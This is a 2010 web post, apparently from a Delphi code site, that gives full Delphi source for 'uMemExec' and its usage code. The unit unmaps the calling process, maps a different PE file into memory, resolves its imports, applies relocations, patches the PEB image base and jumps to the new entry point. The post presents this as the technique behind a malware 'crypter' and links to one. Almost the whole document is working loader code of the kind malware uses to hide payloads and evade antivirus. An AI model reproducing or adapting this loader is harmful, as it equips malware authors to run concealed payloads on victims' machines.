MemExe - Replace current process with custom PE

posted 29 Jun 2010, 11:02 by Delphi Basics   [ updated 29 Jun 2010, 12:56 ]
  Unit: uMemExec
  Author: steve10120
  Description: Map and execute a PE file in the calling process's memory.
  Concept Credits: shapeless
  Website: hackhound.org
  History: First try

This memory injection unit shows you how to unmap the current process and map in a custom PE.
A full crypter coded by shapeless using this technique can be found here:
MemExe Crypter by shapeless

Unit:
unit uMemExec;

interface

uses Windows;

type
  PImageImportDescriptor = ^TImageImportDescriptor;
  TImageImportDescriptor = packed record
    OriginalFirstThunk: DWORD;
    TimeDateStamp: DWORD;
    ForwarderChain: DWORD;
    Name: DWORD;
    FirstThunk: DWORD;
  end;

  PImportByName = ^TImportByName;
  TImportByName = packed record
    Name1:        DWORD;
  end;

  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
     VirtualAddress: DWORD;
     SizeOfBlock: DWORD;
  end;

type
  PFuncParams = ^TFuncParams;
  TFuncParams = record
    dwImageBase:  DWORD;
    hThread:      DWORD;
    pBuffer:      Pointer;
    WaitForSingleObject:  function(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall;
    UnmapViewOfFile:      function(lpBaseAddress: Pointer): BOOL; stdcall;
    VirtualAlloc:         function(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: DWORD): Pointer; stdcall;
    MessageBox:           function(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall;
    RtlMoveMemory:        procedure(Destination, Source: Pointer; dwLength: DWORD); stdcall;
    ExitProcess:          function(ExitCode:DWORD):DWORD;
    GetProcAddress:       function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
    LoadLibrary:          function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
  end;

procedure LoadPE(Params:PFuncParams);
procedure EndProc();

implementation

procedure LoadPE(Params:PFuncParams);
var
  pMem:     Pointer;
  IDH:      TImageDosHeader;
  INH:      TImageNtHeaders;
  ISH:      TImageSectionHeader;
  IID:      PImageImportDescriptor;
  IBN:      PImportByName;
  i:        DWORD;
  hDll:     DWORD;
  pWrite:   ^Pointer;
  pBase:    Pointer;
  IBR:      PImageBaseRelocation;
  dwCount:  DWORD;
  pItem:    PWORD;
Label
  SEHExit;
begin
  asm
    push offset SEHExit
    push fs:[0]
    mov fs:[0], esp
  end;
  with Params^ do
  begin
    WaitForSingleObject(hThread, INFINITE);
    IDH := TImageDosHeader(pBuffer^);
    if IDH.e_magic = IMAGE_DOS_SIGNATURE then
    begin
      INH := TImageNtHeaders(Pointer(DWORD(pBuffer) + IDH._lfanew)^);
      if INH.Signature = IMAGE_NT_SIGNATURE then
      begin
        if dwImageBase = INH.OptionalHeader.ImageBase then
          UnmapViewOfFile(Pointer(INH.OptionalHeader.ImageBase));
        pMem := VirtualAlloc(Pointer(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if pMem = nil then
          pMem := VirtualAlloc(nil, INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if pMem <> nil then
        begin
          asm
            push eax
            push ecx
            mov eax, fs:[30h]
            mov ecx, pMem
            mov [eax+8], ecx
            pop ecx
            pop eax
          end;
          RtlMoveMemory(pMem, pBuffer, INH.OptionalHeader.SizeOfHeaders);
          for i := 0 to INH.FileHeader.NumberOfSections - 1 do
          begin
            ISH := TImageSectionHeader(Pointer(DWORD(pBuffer) + IDH._lfanew + 248 + i * 40)^);
            if ISH.SizeOfRawData > 0 then
              RtlMoveMemory(Pointer(DWORD(pMem) + ISH.VirtualAddress), Pointer(DWORD(pBuffer) + ISH.PointerToRawData), ISH.SizeOfRawData);
          end;
          if (INH.OptionalHeader.DataDirectory[1].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[1].Size > 0) then
          begin
            IID := PImageImportDescriptor(Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[1].VirtualAddress));
            while IID^.Name <> 0 do
            begin
              hDll := LoadLibrary(PChar(Pointer(DWORD(pMem) + IID.Name)));
              if hDll <> INVALID_HANDLE_VALUE then
              begin
                if IID.OriginalFirstThunk <> 0 then
                  IBN := PImportByName(Pointer(DWORD(pMem) + IID.OriginalFirstThunk))
                else
                  IBN := PImportByName(Pointer(DWORD(pMem) + IID.FirstThunk));
                pWrite := Pointer(DWORD(pMem) + IID.FirstThunk);
                while IBN.Name1 <> 0 do
                begin
                  if (IBN.Name1 and $80000000) <> 0 then
                    pWrite^ := GetProcAddress(hDll, PChar(IBN.Name1 and $ffff))
                  else
                    pWrite^ := GetProcAddress(hDll, PChar(DWORD(pMem) + IBN.Name1 + 2));
                  Inc(IBN);
                  Inc(pWrite);
                end;
              end;
            Inc(IID);
            end;
            if (DWORD(pMem) <> INH.OptionalHeader.ImageBase) and ((INH.OptionalHeader.DataDirectory[5].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[5].Size > 0)) then
            begin
              pBase := Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[5].VirtualAddress);
              IBR := pBase;
              while (DWORD(IBR) -  DWORD(pBase)) < INH.OptionalHeader.DataDirectory[5].Size do
              begin
                dwCount := Trunc((IBR.SizeOfBlock - 8) / 2);
                pItem := Pointer(DWORD(IBR) + 8);
                for i := 0 to dwCount - 1 do
                begin
                  if (pItem^ shr 12) = 3 then
                    Inc(PDWORD(DWORD(pMem) + IBR.VirtualAddress + (pItem^ and $FFF))^, DWORD(pMem) - INH.OptionalHeader.ImageBase);
                  pItem := Pointer(DWORD(pItem) + 2);
                end;
                IBR := Pointer(DWORD(IBR) + IBR.SizeOfBlock);
              end;
            end;
            asm
              mov eax, pMem
              add eax, INH.OptionalHeader.AddressOfEntryPoint
              // INT 3
              jmp eax
            end;
          end;
        end;
      end;
    end;
  end;
SEHExit:
  ExitProcess(0);
end;

procedure EndProc(); begin end;

end.


Usage:
var
  Params: PFuncParams;
  dwNull: DWORD;
  hKernel32:  DWORD;
  pFunc:      Pointer;
  dwSize:     DWORD;
  pFile:      Pointer;
begin
  Params := VirtualAlloc(nil, SizeOf(Params^), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
  dwSize := DWORD(@EndProc) - DWORD(@LoadPE);
  pFunc := VirtualAlloc(nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if Assigned(pFunc) then
  begin
    CopyMemory(pFunc, @LoadPE, dwSize);
    Params.dwImageBase := GetModuleHandle(nil);
    Params.hThread := GetCurrentThreadID;
    hKernel32 := GetModuleHandle('kernel32.dll');
    Params^.WaitForSingleObject := GetProcAddress(hKernel32, 'WaitForSingleObject');
    Params^.UnmapViewOfFile := GetProcAddress(hKernel32, 'UnmapViewOfFile');
    Params^.VirtualAlloc := GetProcAddress(hKernel32, 'VirtualAlloc');
    Params^.MessageBox := GetProcAddress(GetModuleHandle('user32.dll'), 'MessageBoxA');
    Params^.RtlMoveMemory := GetProcAddress(hKernel32, 'RtlMoveMemory');
    Params^.ExitProcess := GetProcAddress(hKernel32, 'ExitProcess');
    Params^.LoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
    Params^.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
    FileToMem('notepad.exe', pFile);
    Params.pBuffer := pFile;
    BeginThread(nil, 0, pFunc, Pointer(Params), 0, dwNull);
    ExitThread(0);
  end;
end.
Comments